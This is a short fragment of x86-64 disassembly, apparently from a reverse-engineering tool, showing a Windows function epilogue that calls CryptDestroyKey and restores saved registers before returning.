test rcx, rcx
je 0x180007005
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret